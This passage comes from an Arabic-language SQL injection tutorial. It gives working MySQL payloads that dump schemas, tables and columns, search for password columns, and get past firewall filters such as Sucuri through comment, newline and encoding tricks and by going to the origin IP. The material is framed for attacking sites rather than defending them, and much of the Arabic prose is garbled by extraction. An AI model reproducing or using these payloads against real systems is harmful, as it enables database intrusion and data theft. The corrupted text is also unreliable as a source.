MID : ‫القيمة‬

(select+MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e,


0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables)
SEPARATOR 0x3c62723e),1,1024)+FROM information_schema.columns)
. ‫ الفريدة من نوعها‬Concat ‫ قيم الـ‬: ‫الباب الثامن‬

‫إلي ر‬
‫ الرمتميزة‬Concat ‫كم سادتي بعض تقنيات الستعلم الساسي‬

IFNUL function ‫الـ‬

concat(@@version,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+S
EPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))

‫بتقنبة التشفير‬

concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e496e6a6563746f72426f7920203a3a20,@@versi
on,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+S
EPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))

COALESCE Function ‫الـ‬

concat(@@version,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,COALESCE(table_rows,0)+order+by+COALESCE(table_ro
ws,0)+ASC+SEPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))

‫بتقنبة التشفير‬

concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e496e6a6563746f72426f7920203a3a20,@@versi
on,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,COALESCE(table_rows,0)+order+by+COALESCE(table_ro
ws,0)+ASC+SEPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))

declare variables ‫الـ‬

concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where


table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num
%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as
tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows
DESC)makman where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x)
declare variables ‫صورة الخرج النهائي لـ‬

1) pictures :: 7
2) categ :: 4
3) artists :: 3

benchmark ‫الـ‬

concat(@i:=0x00,@o:=0xd0a,benchmark(40,@o:=CONCAT( @o,0xd0a,(SELECT
concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order
by table_name LIMIT 1))),@o)

Full Out ‫الـ‬

concat( @n_d:=0x00,@i:=0x00,@o:=0x00,if( benchmark( (select count(*) from information_schema.schemata),


@o:=CONCAT(@o,(Select concat( 0x266e6273703b,LPAD(@n_d:=@n_d
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d7265643e3c623e,@i:=schema_name,0x3c2f623e20286e756d62
6572206f66207461626c657320696e2064617461626173653a20,@NumberOfDatabases:=(select count(*) from
information_schema.tables where table_schema=@i),0x293c2f666f6e743e,0x3c62723e,
concat(@n_t:=0x00,@tbl:=0x00,@out_tbl:=0x00,if( benchmark( @NumberOfDatabases,@out_tbl:=CONCAT(
@out_tbl,( Select concat( repeat(0x266e6273703b,8),LPAD(@n_t:=@n_t
%2b1,3,0x30),0x2e203c666f6e7420636f6c6f723d677265656e3e3c623e,@tbl:=table_name,0x3c2f623e20286e75
6d626572206f6620636f6c756d6e7320696e207461626c653a20,@NumberOfColumns:=(select count(*) from
information_schema.columns where table_schema=@i and
table_name=@tbl),0x293c2f666f6e743e,concat( @n_c:=0x00,@clm:=0x00,@clm_out:=0x00,if( benchmark( @N
umberOfColumns,@clm_out:=CONCAT( @clm_out,0x3c62723e,repeat(0x266e6273703b ,
16),LPAD(@n_c:=@n_c%2b1,3,0x30),0x2e20203c666f6e7420636f6c6f723d626c75653e,(Select
(@clm:=column_name) from information_schema.columns where (table_name=@tbl) and column_name>@clm
order by column_name LIMIT 1),0x3c2f666f6e743e))=0, @clm_out, 0x00), 0x3c62723e)) from
information_schema.tables where table_schema=@i and table_name>@tbl order by table_name LIMIT 1)))=0,
@out_tbl, 0x00))) from information_schema.schemata where schema_name>@i order by schema_name LIMIT
1)))=0,@o,0x00))

Full Out ‫صورة الخرج النهائي لـ‬

008. users (number of columns in table: 8)


001. address
002. cart
‫ تقنية اليحث عند الجداول التي تحتوى أعمدة باسوردات‬: ‫الباب التاسع‬

‫كن من معرفة الجدول الرمستهدف كـ أن يكون مثل ل جدول الدمن ريسمى بغير أسمره أو نحو‬ ‫هذه التقنية نستفيد منها في حال عدم التم ر‬
. ‫ذلك لذا لنرمر على إيستعلمات هذه التقنية سريعا ل‬

‫الستعلمات الرمستخدمة‬

CASE statement : ‫القيمة‬

(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables) where (0x00) in
(@x:=concat(@x,0x3c62723e,@tbl:=table_name,(Select CASE WHEN ( (select count(*) from
information_schema.columns where table_name=@tbl and column_name like 0x257061737325)>0) THEN
0x3c666f6e7420636f6c6f723d677265656e3e3c623e202a2a2a2070617373202a2a2a203c2f623e3c666f6e7420636f6c6f
723d6
26c75653e else 0x00 END)))))x)

IF() function : ‫القيمة‬

(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables) where (0x00) in
(@x:=concat(@x,0x3c62723e,@tbl:=table_name,(Select IF(( select count(*) from information_schema.columns where
table_name=@tbl and column_name like 0x257061737325 >0),
0x3c666f6e7420636f6c6f723d677265656e3e3c623e202a2a2a2070617373202a2a2a203c2f623e3c666f6e7420636f6c6f
723d6
26c75653e, 0x00))))))x)

‫مثال على المسئلة‬

testphp.vulnweb.com/listproducts.php?cat=.1 union select 1,2,3,4,5,6,7,8,9,10,(select (@x) from (select (@x:=0x00),


(select (0) from (information_schema.tables) where (0x00) in (@x:=concat(@x,0x3c62723e,@tbl:=table_name,(Select
CASE WHEN ( (select count(*) from information_schema.columns where table_name=@tbl and column_name like
0x257061737325)>0) THEN
0x3c666f6e7420636f6c6f723d677265656e3e3c623e202a2a2a2070617373202a2a2a203c2f623e3c666f6e7420636f6c6f
723d6
26c75653e else 0x00 END)))))x) -- -

▂ ▃ ▄ ▅ ▆ ▇ █ ‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل‬
‫� الفصل الخامس ‪ :‬تقنيات الدفع الموحد �‬

‫تقنيات الدفع الموحد ‪ :‬بمعنى ما يدفع لوجود خطأ ذو قيمة ل تتغير في مضمونها هو ذارته ما يدفع لوجود الرقدرة على دفع تلك القيمة‬
‫من مضمولنمها ‪.‬‬

‫فمعنى الدفع يعني ' التخطي ' ومعنى الموحد يعني ' ما لره نفس الهيئه ' بمعنى أن يكون الستعلم الخاص بالتخطي هو ذارته‬
‫الرمستخدم في ركل مره يظهر فيها ذات الخطأ دومنما تغ ل رير في شكل أو مضمون هذا الستعلم الرمستخدم في ركل مرة دائما ل ‪ ,‬فلو فرضنا‬
‫أن الخطأ إكس ‪ X‬يتم تخطيره بالتخطي واي ‪ Y‬فأينما ولجدا الخطأ إكس ‪ X‬في أي مكان دائما كان التخطي لره هو التخطي‬
‫ث أنره ريعالج أغلب الخطأ المشهورة بمجال حقن القواعد بإستخدام تقنيات‬ ‫واي ‪ , Y‬لذا فهذا الفصل من أهم فصول هذا الكتاب حي ر‬
‫تخطي فريدة من نوعها في بعض الحيان وبإستخدام تقنيات أخرى مشهورة في الغالب ‪ ,‬وبإضافة ركل هذه الحلول رمجتلمعة بفصل‬
‫واحد سوف يدفع رمختبري حقن قواعد البيانات العرب والرمسلمين على تعزيز الخبرات والرقدرات لديرهم بهذا المجال الواسع النتشار‬
‫‪.‬‬
. Error : (1054( Unknown column 'xxx' in 'field list ‫[ الخطأ‬1]

. 'Unknown column '1' in 'order clause : ‫[ الخطأ‬2]

. The connection was reset ‫ النقطاع الرمفاجئ للنترنت‬: ‫[ الخطأ‬3]

. 'Illegal mix of collations for operation 'UNION - 1271 : ‫[ الخطأ‬4]

. Fatal Error Occurred : ‫[ الخطأ البرمجي‬5]

. Temporary Redirect 307 : ‫[ الخطأ‬6]

. Bad Request 400 : ‫[ الخطأ‬7]

. Conflict 409 : ‫[ الخطأ‬8]

. Not Found 404 : ‫[ الخطأ‬9]

. boolean given in : ‫[ الخطأ‬10]

. Sucuri WebSite Firewall - CloudProxy - Access Denied : ‫[ الخطأ‬11]

. The used SELECT statements have a different number of columns : ‫[ الخطأ‬12]

. New Line ‫[ الخطأ‬13]

. White spaces ‫[ الخطأ‬14]


☆* •. ¸☆ Error: (1054( Unknown column 'xxx' in 'field list ‫[ الـ الخطأ‬1] ☆¸. •* ☆

: ‫ وذلك على النحو التالي‬Join Syntax ‫ هذا الخطأ نقوم بإستخدام رأسلوب الحقن الفريد من نوعه الـ‬- ‫ أو تفادي‬- ‫لتخطي‬

� ‫� الموقع الهدف‬

www.InjectorBoy.md/news.php?id=58

www.InjectorBoy.md/news.php?id=58' union select 1,2,3,4,5,6 -- -

Error: (1054) Unknown column 'alias' in 'field list'


‫� التكوين الهيكلي �‬

‫أول ل ‪ :‬إضافة مسافة بعد الكلمة ‪ select‬رثم كتابة رمز النجمه * رثم مسافة رأخرى بعد رمز النجمه رثم كتابة الكلمة ‪from‬‬
‫وذلك على النحو التالي ‪:‬‬

‫‪[1] news.php?id=58' union select 1,2,3,4,5,6 -- -‬‬


‫‪[2] news.php?id=58' union select * from 1,2,3,4,5,6 -- -‬‬

‫ثالثا ل ‪ :‬لكتابة رقم عمود ما بالستغلل يتم على النحو التالي ‪:‬‬

‫‪ -1‬نقوم بوضع قوسين هلل لميين رمغملقين بعد كلمة ‪: from‬‬

‫‪[1] news.php?id=58' union select * from () -- -‬‬

‫‪ -2‬رثم نكرتب بعد ذلك كلمة ‪ select‬داخل القوسين الرمغملقين ‪:‬‬

‫‪[2] news.php?id=58' union select * from (select) -- -‬‬

‫‪ -3‬رثم مسافة من بعد الكلمة ‪ select‬رثم نكرتب رقم العمود لدينا ‪:‬‬

‫‪[3] news.php?id=58' union select * from (select 1) -- -‬‬

‫‪ -4‬رثم نعطي هذا العمود رقم واحد إسما ل رمستعارا ل ونكرتب هذا السم الرمستعار بعد القوسين الرمغلقين مباشرلة بدون أية فواصل ‪ ,‬وليكون‬
‫‪ -‬أي السم الرمستعار ‪ -‬من الحروف البجدية النجليزية ‪:‬‬

‫‪[4] news.php?id=58' union select * from (select 1)a -- -‬‬

‫‪ -5‬ثم رنضيف مسافة من بعد السم الرمستعار ‪ a‬رثم نكرتب كلمة ‪: join‬‬

‫‪[5] news.php?id=58' union select * from (select 1)a join -- -‬‬

‫‪ -6‬وهكذا في باقى أرقام العمده كافة ‪:‬‬

‫‪[6] InjectorBoy.md/news.php?id=58' union select * from (select 1)a join (select+2)b join (select+version())c join‬‬
‫‪(select+4)d join (select+5)e join (select+6)f -- -‬‬
‫☆¸‪☆¸.•*☆ ' Unknown column '1' in 'order clause ☆*•.‬‬ ‫]‪ [2‬الخطأ‬

‫فى حالت رمتعدده يكرثر وجودها ‪ ,‬يظهر هذا الخطأ ‪ Unknown column -1-‬رمخلبرا ل إيانا أن العمود صاحب الرقم واحد غير‬
‫معلوم لدى القالعده ‪ ,‬وذلك يكون عند إستغلل الرمتغير الرمصاب بالستعلم ‪ - Order By -‬مع الرقم الدنى والقل إطلقا ل أل‬
‫وهو الرقم واحد ‪ ,‬مثال على ذلك ‪:‬‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=4 order by 1-- -‬‬

‫الذي من المفروض أن تظهر معره أي عند الرقم واحد صفحه هذا الرمتغير بصوره طبيعيه ‪ ,‬والتي تردل على صحة الستعلم وأن‬
‫العمود رقم واحد موجود فعل ل ‪ ,‬وهذا الذى لم يحردث ‪.‬‬
‫وتحليلي لهذا الخطأ يكون على النحو التالي‬

‫‪ -1‬رنقطة الحقن الساسية ليست في إستعلم الـ ‪. select‬‬


‫‪ -2‬وجود إثنين من الستعلمات تعمل فيما وراء الرابط أو الرمتغير ‪.‬‬

‫‪1- injection point is not in select statement .‬‬


‫‪2- there are 2 queries behind the url .‬‬

‫وإستنتاجا ل من هذا التحليل ' يستحيل الحقن بإستخدام اليونيون باسيد ‪ Union Based‬مع الـ ‪ ' Select‬ويخرلفه ‪ -‬أي مكان مره ‪-‬‬
‫إستعلمات الـ ‪ Error Based‬كابديل ل عنه ‪.‬‬

‫عب بنهاية الرابط وهذا فقط حال ظهوره أي الخطأ عند كتابة‬‫رملحظة هامة ‪ :‬في بعض الحيان يتم تخطي هذا الخطأ بالتل ر‬
‫كلي الصحيح للعمدة أي أن هذا الحل ليس لره أي إرتباط بالرمشكلة أعله في بداية الفصل‬ ‫الستغلل كامل ل بعد معرفة العدد ال ر‬
‫مع الـ ‪. order by 1‬‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=4 union select 1,2,3,4,5,6 ;%00‬‬


‫🏻 🏻 ☆¸‪☆*•.‬‬ ‫☆*•‪ [3] ☆¸.‬خطأ النقطاع الرمفاجئ للنترنت 🏻 🏻 ‪The connection was reset‬‬

‫في حالة الحقن العادى ‪ ,‬وعند معرفة عدد العمدة بصورة قطعية بإستخدام الستعلم ‪ , order by‬وفرضا ل أقول أنرة تم‬
‫الحقن بصورة صحيحة وذلك مع دمج عدد العمده الرمتو لمصل إليها إلى الستعلم ‪ union select‬والذى من شئنره عادة أن‬
‫رينلتج لنا بتلك التركيبة السحريه ظهور أرقام العمده الرمصابة بالصفحة ‪ ,‬لكن عند عدم حدوث ذلك لسبب ما وزياده عليه‬
‫التصال بالنترنت ينمعلدم بصورة رمفاجئه يكون المر رمحيرا ل ‪:‬‬

‫‪http://www.InjectorBoy.GHT?id=.1 union select 1,2,3,4 -- -‬‬

‫دل هذا الخطأ على أمر ل ثانى له في مجال حقن قواعد البيانات وهو إن ذلك النقطاع الرمفاجئ للنترنت عادة ليس‬
‫ضعف التصال بالشبكة ( وإنما بسبب الـ واف ‪ Waf's‬أي الحماية الخاصة بهذا الموقع ‪ ,‬ويمكن‬
‫بسبب التصال الرديئ ( ر‬
‫تخطي ذلك المر بفلترة الرمدخلت الستعلمية لبرطرق شتى منها ‪.‬‬
http://www.InjectorBoy.GHT?id=1-.1union select 1,2,3,4 -- -

‫ ووضع شرطه رملتصقه بالرمتغير من إتجاه الـ‬union ‫ هنا رقمت بوضع رنقطة قبل الرقم واحد للأقوم بلصقه مع الـ‬, ‫تم التخطي‬
‫ لعمل خداع كامل للواف وذلك ا ر‬union
. ‫لسلوب سوف ريشرح لحقا ل‬

http://www.InjectorBoy.GHT?id=1-.1union select 1,2,3,ConCat(version(),concat(@c:=0x00,if((select count(*)%0A/*!


50000From*/%0A/*!50000Information_Schema*/.Columns where table_schema=database() and
@c:=concat(@c,0x3c6c693e,/*!50000Table_name*/,0x2e,/*!50000Column_name*/)),0x00,0x00),@c)) -- -
‫☆*•‪ ]4[ ☆¸.‬الخطأ ‪☆*•.¸☆ Illegal mix of collations for operation UNION - 1271 :‬‬

‫يحردث هذا الخطأ نتيجة الختلف فى قيم الـ ‪ collations‬بين الجدول الموجود بالقاعدة والجدول الرمستخدم من لقبمللنا ويتم‬
‫تخطي هذا المر بإستخدام الـ ))(‪ unhex(hex‬وغيرها من القيم الرمقابلة لها التي تعمل على توحيد قيم الدخل مع القيم‬
‫الموجودة ‪.‬‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=4 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 %23‬‬


. ‫عند إستخدام الستعلمات الخاصة بإستخراج كافة الجداول يحردث هذا الخطأ نتيجة الختلف الذي ذكرناه أنفا ل‬

www.InjectorBoy.md/galleryCategory.php?id=4 union select


1,2,group_concat(schema_name),4,5,6,7,8,9,10,11,12,13,14 from information_schema.schemata%23

: ‫ كالتالي‬unhex(hex()) ‫ولتخطي المر نقوم بإستخدام الستعلم‬

www.InjectorBoy.md/galleryCategory.php?id=4 union select


1,2,unhex(hex(group_concat(schema_name))),4,5,6,7,8,9,10,11,12,13,14 from information_schema.schemata%23

- ‫ث العمل على توحيد رلغة الدخل للقيم الثابتة والقيم الرمدخلة عليها‬
‫ورهنا بعض الستعلمات الرمماثلة من حي ر‬

[1] unhex(hex(value))

[2] cast(value as char)

[3] aes_decrypt(aes_encrypt(value,1),1)
[4] convert(‫ رهنا نضع الستعلم‬using ‫)رهنا نضع أحد القيم المذكورة تاليا ل‬

ascii
ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8
www.InjectorBoy.md/galleryCategory.php?id=4 union select 1,2,convert(group_concat(table_name) using
ascii),4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables%23
‫☆*•‪ [5] ☆¸.‬الخطأ البرمجي ‪☆*•.¸☆ Fatal Error Occurred :‬‬

‫جد خطأ برمجي بأحد العمدة مما يؤدي إلي إختفاء وعدم ظهور باقي العمدة الرمصابة ويتم تخطي هذا المر‬
‫يحردث هذا الخطأ نتيجة توا ر‬
‫بعمل تفريغ لقيمة هذا العمود الرمصاب بهذا الخطأ ‪.‬‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=-174 UNION SELECT 1,2,3,4,5,6,7,8-- -‬‬

‫نقوم الن بعمل عملية تفرق لقيم العمدة عمود عمود حتى نصل للعمود الرمصاب وذلك بإضافة القيمة ‪ Null‬كالتالي ‪:‬‬

‫ل شيئ ‪id=-174 UNION SELECT Null,2,3,4,5,6,7,8--‬‬


‫ل شيئ ‪id=-174 UNION SELECT 1,Null,3,4,5,6,7,8--‬‬
‫ل شيئ ‪id=-174 UNION SELECT 1,2,Null,4,5,6,7,8--‬‬
‫ل شيئ ‪id=-174 UNION SELECT 1,2,3,Null,5,6,7,8--‬‬
‫تم التخطي ‪id=-174 UNION SELECT 1,2,3,4,Null,6,7,8--‬‬
www.InjectorBoy.md/galleryCategory.php?id=-174 UNION SELECT 1,2,3,4,Null,6,7,8-- -
‫☆*•‪ [6] ☆¸.‬الخطأ ‪☆*•.¸☆ Temporary Redirect 307 :‬‬

‫هذا الخطأ يقوم بالتحويل إلى صفحة رأخري غير الصفحة ال رمستهدفة بالحقن وهو من الخطأ الشائعة جدا بمجال حقن القواعد‬
‫ويتم التخطي بإضافة أحد إضافات الفيرفوكس ‪.‬‬

‫كلي للعمدة تقوم الحماية بعمل عملية تحويل إلى صفحة‬‫عند القيام بعملية كتابة الستغلل بعد معرفة وتحصيل العدد ال ر‬
‫رأخرى ومنع عملية الحقن ‪.‬‬

‫‪www.InjectorBoy.md/news.php?id=.58' /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 -- -‬‬


‫الصفحة التي قامت الحماية بتحويلي إليها ‪:‬‬

‫‪www.InjectorBoy.md/modules.php?name=News‬‬

‫الن ولتخطي عملية التحويل سوف نقوم بإضافة الضافة الخاصة بالفيرفوكس ‪ noredirect‬من رهنا ‪:‬‬

‫‪https://addons.mozilla.org/ar/firefox/addon/noredirect/‬‬

‫ثم بعد ذلك نقوم بفتح الضافة من الرمتصفح من قائمة ‪ Tools‬ونقوم بإختيار الضافة ‪ noredirect‬ث رمم نقوم بإختيار الرمفتاح ‪Add‬‬
‫والضغط عليه ‪.‬‬

‫رثم نقوم بإضافة رابط الصفحة التي قامت الحماية بتحويملنا إليها سابقا ل ث رمم نضغط رمفتاح الـ ‪. Enter‬‬

‫‪www.InjectorBoy.md/modules.php?name=News‬‬

‫أخير نقوم بفتح الرابط مع الستغلل كامل ل مره رأخرى لنرى هل تم تخطي التحويل أم ل ‪.‬‬
www.InjectorBoy.md/news.php?id=.58' /*!50000UNION*/ SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13,14 -- -
‫☆*•‪ [7] ☆¸.‬خطأ ‪☆*•.¸☆ Bad Request 400 :‬‬

‫هذا الخطأ ينرتج غالبا ل نتيجة إعتراض العمدة الرمستغلة بالستعلم الكامل ‪-‬‬

‫‪www.InjectorBoy.md/news.php?id=.58' UNION SELECT 1,2,3,4 --‬‬


‫ولتخطي هذا المر نقوم بإضافة رمز التح ل ر‬
‫كم ‪ 0A%+--‬قبل ركل رقم من أرقام العمدة الرمستغلة ‪.‬‬

‫‪www.InjectorBoy.md/news.php?id=.58' UNION SELECT --+%0A1,--+%0A2,--+%0A3,--+%0A4 --‬‬


☆*•.¸☆ Conflict 409 : ‫[ الخطأ‬8] ☆¸.•*☆

- ‫وهو خطأ التكوين وعدم مقدرة الخادم على إكمال الطلب‬

www.InjectorBoy.md/galleryCategory.php?id=48 union distinct select


1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -

- ‫ التي سيتم شرحها لحقا ل‬BIND ‫ويتم تخطي هذا المر عن طريق تقنية الـ‬

www.InjectorBoy.md/galleryCategory.php?id=4@8BINDunion distinct select


1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -
‫☆*•‪ ]9[ ☆¸.‬الخطأ ‪☆*•.¸☆ Not Found 404 :‬‬

‫وهو خطأ منع‬


‫الرنقطة ‪ Dot‬من العمل عند إستخدام إستعلم إستخراج كافة الجداول والعمدة ‪-‬‬

‫‪www.InjectorBoy.md/news.php?id=58 union select 1,2,group_concat(table_name,0x3c62723e),4,5,6,7,8,9,10,11 from‬‬


‫‪.‬‬
‫‪information_Schema tables where table_schema=database()--+‬‬

‫إستعلم ‪ information_Schema.tables‬يحتوي على رنقطة ‪ Dot‬لذلك تم منرعه من العمل ‪.‬‬

‫ولتخطي الحماية نقوم بعمل فلترة للرنقطة ولكن با ر‬


‫لسلوب التالي ‪:‬‬

‫أول ل ‪ :‬نقوم بإضافة رمز ‪ %‬قبل الرنقطة ثم نقوم بالفلترة بالـ ‪. Encoding‬‬

‫‪[1] Schema.tables‬‬

‫‪[2] Schema%.tables‬‬

‫‪[3] Schema%252Etables‬‬
www.InjectorBoy.md/news.php?id=58 union select 1,2,group_concat(table_name,0x3c62723e),4,5,6,7,8,9,10,11 from
information_Schema%252Etables where table_schema=database()--+
☆*•.¸☆ boolean given in : ‫] الخطأ‬10[ ☆¸.•*☆

. ‫هذا الخطأ من الخطأ الشائعة عند إستخدام إستعلمات إستخراج كافة الجداول والبيانات‬

www.InjectorBoy.md/news.php?id=58+UNION+SELECT+1,2,3,4-- -

www.InjectorBoy.md/news.php?
id=58+UNION+SELECT+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=d
atabase()-- -
. unhex(Hex()) ‫ويتم تخطي هذا المر عن طريق إستخدام إستعلم الـ‬

www.InjectorBoy.md/news.php?
id=58+UNION+SELECT+1,unhex(Hex(group_concat(table_name))),3,4+from+information_schema.tables+where+ta
ble_schema=database()-- -
‫☆*•‪ ]11[ ☆¸.‬الخطأ ‪☆*•.¸☆ Sucuri WebSite Firewall - CloudProxy - Access Denied :‬‬

‫جد وهو خطأ منع أي إضافة لي إستعلمات بعد رقم الرمتغير الخاص بالموقع الرمصاب بثغرة‬
‫ث التوا ر‬
‫هذا الخطأ من الخطاء القليلة من حي ر‬
‫الحقن ‪-‬‬

‫‪www.InjectorBoy.md/galleryCategory.php?id=4+UNION+SELECT+1,2,3-- -‬‬

‫ويتم تخطي هذا المر بإستبدال دومين الموقع الرمستهدف باليبي الحقيقي لـ ‪- Subdomain‬‬

‫وهذه أداة من الدوات الخاصة بإستخراج أيبي الـ ‪- Subdomain‬‬

‫‪pentest-tools.com/information-gathering/find-subdomains-of-domain‬‬
http://50.28.71.142/galleryCategory.php?id=4+UNION+SELECT+1,2,3-- -
☆*•.¸☆ The used SELECT statements have a different number of columns : ‫] الخطأ‬12[ ☆¸.•*☆

- ‫ بصورة رمطلقة إل فى بعد الحالت الشاذة‬union based ‫وهو خطأ إستحالة الحقن بنمط الـ‬

www.InjectorBoy.md/news.php?id=58+UNION+SELECT+1,2,3,4-- -

- Error Based ‫ويتم التخطي براسلوب الحقن بـ اليرور باسيد‬

www.InjectorBoy.md/news.php?id=polygon((select*from(select*from(select%20@@VERSION)f)x))-- -
‫█▇▆▅▄▃▂‬ ‫إحتمالت حقن هذا الخطأ‬ ‫▂▃▄▅▆▇█‬

‫ريمكن حقن المواقع الرمصابة بهذا الخطأ في بعض الحالت فقط وليس ركلها ورتسمى الحالت الشاذة ‪.‬‬

‫‪ -1‬إستحالة العمل مع الـ ‪ union select‬وإتمام الستغلل ‪.‬‬

‫‪ -2‬أحتمال العمل فقط ل غير مع الـ ‪. Error Based‬‬

‫‪ -3‬أحتمال العمل بشرط تجرنب إستخدام الفاصله ‪ ,‬بين أعداد أو أرقام العمدة ‪.‬‬

‫‪ -4‬إحتمال وجود أخطاء رمتعددة فل تستطيع الحقن إل مع أحردهما دون الخر ‪.‬‬

‫‪ -5‬إحتمال العمل مع رأسلوب ألـ ‪. Routed Query‬‬

‫]‪ [1‬إستحالة العمل مع الـ ‪ union select‬وإتمام الستغلل ‪.‬‬

‫]‪ [2‬فى حالة الحتمال الثاني يكون الستغلل على النحو التالي ‪:‬‬

‫‪?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- -‬‬

‫]‪ [3‬فى حالة الحتمال الثالث يكون الستغلل على النحو التالي ‪:‬‬

‫‪?id=1 union select 123456-- -‬‬

‫]‪ [4‬فى حالة الحتمال الرابع يكون الستغلل على النحو التالي ‪:‬‬

‫‪?id=1 union select 0x3a31, 0x3a32, 0x3a33, 0x3a34, 0x3a35, 0x3a36 -- -‬‬

‫]‪ [5‬فى حالة الحتمال الخامس يكون الستغلل على النحو التالي ‪:‬‬
‫تم شرح هذا ا ر‬
‫لسلوب سابقا ل‬

‫‪?id=1+DiV 0 UnIoN SeLeCt+"1' DiV 0 /*!50000UnIoN*/ aLL SeLeCt 1,2,3,4,5,6-- -",2,3,4-- -‬‬
‫☆*•‪ [13] ☆¸.‬الخطأ ‪☆*•.¸☆ New Line‬‬

‫‪GROUP BY f.pkey ORDER BY f.pkey DESC' at line‬‬

‫عند ظهور خطأ مشابه القيمة التركيبية لهذا الخطأ أعلة ‪ ,‬وبله سطر كتابى قيمرة [ ‪ ] at line‬ثم رمضاف إلية رقم السطر‬
‫كالتالي على سبيل المثال فقط ]‪ [ at line 6‬فهذا يعنى أن الستعلم يحتوى سطر جدبد أو [ ‪ ] new line‬وهذا السطر‬
‫الضافي أو الجديد لربد من إحتوائه ‪ ,‬ويتم ذلك الحتواء عن طريق غلق نهاية الستعلم بالرمز ;‪- 00%‬‬
‫مثال تطبيقى‬
‫‪www.InjectorBoy.md/news.php?id=-58) union %53elect‬‬
‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- -‬‬

‫كما رنلحظ في الخطأ يوجد سطر جديد وهو ‪f.pkey ORDER BY f.pkey :‬‬

‫‪You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version‬‬
‫‪for the right syntax to use near '€‹8-- -) GROUP BY f.pkey ORDER BY f.pkey DESC' at line 6‬‬

‫كلي بالـ ;‪ 00%‬كالتالي ‪:‬‬


‫لذا نقوم بإحتواء هذا السطر الن وذلك بغلق نهاية الستعلم ال ر‬

‫‪www.InjectorBoy.md/news.php?id=-58) union %53elect‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25,26,27,28;%00‬‬
‫☆*•‪ [14] ☆¸.‬الخطأ ‪☆*•.¸☆ White spaces‬‬

‫في بعض الحيان قد ترتكز الحماية على منع المساحات البيضات والفواصل البينية لذا لنتعلم تقنيات تخطيها ‪.‬‬

‫‪www.InjectorBoy.md/viewitem.php?num=13‬‬

‫فالرنحاول إستخراج القيمة ال ر‬


‫كلية للعمدة‬

‫‪www.InjectorBoy.md/viewitem.php?num=13 order by 1-- -‬‬


www.InjectorBoy.md/viewitem.php?num=13 order by 100-- -

‫كما رنلحظ لم يحدوث أي تغرير بالصفحة لذا نستنتج أن الحقن إسترنج بإضافة قيمة الكومة بعد رقم الرمتغير لنري ذلك‬

www.InjectorBoy.md/viewitem.php?num=13’ order by 1-- -

www.InjectorBoy.md/viewitem.php?num=13’ order by 100-- -


‫كما لحظنا الرمشكلة ليست في نوع الحقن بال أعتقد أن المسئلة لها لعلقة بالواف ‪WAF‬‬
‫لذا فلرنحاول تخطي المسافات البيضاء بأحد الرطرق التالية‬

‫‪/**/union/**/select/**/1,2-- -‬‬
‫‪%0Aunion%0Aselect%0A1,2-- -‬‬
‫‪union(select(1),(2))-- -‬‬

‫‪www.InjectorBoy.md/viewitem.php?num=13%0Aorder%0Aby%0A1-- -‬‬

‫‪www.InjectorBoy.md/viewitem.php?num=13%0Aorder%0Aby%0A100-- -‬‬

‫كما توقعت فعل ل المسئلة مسئلة حماية وتم تخطيها وبالرمقارنة تبين أن عدد العمدة ال ر‬
‫كلية هي عشرة أعمدة‬

‫‪www.InjectorBoy.md/viewitem.php?num=.13 union select 1,2,3,4,5,6,7,8,9,10-- -‬‬


‫حدث رمشكلة نتيجة الواف على اللمساحات البيضاء لنتخطى ذلك كما تعلمنا سابقا ل‬

www.InjectorBoy.md/viewitem.php?num=.13%0Aunion%0Aselect%0A1,2,3,4,5,6,7,8,9,10-- -

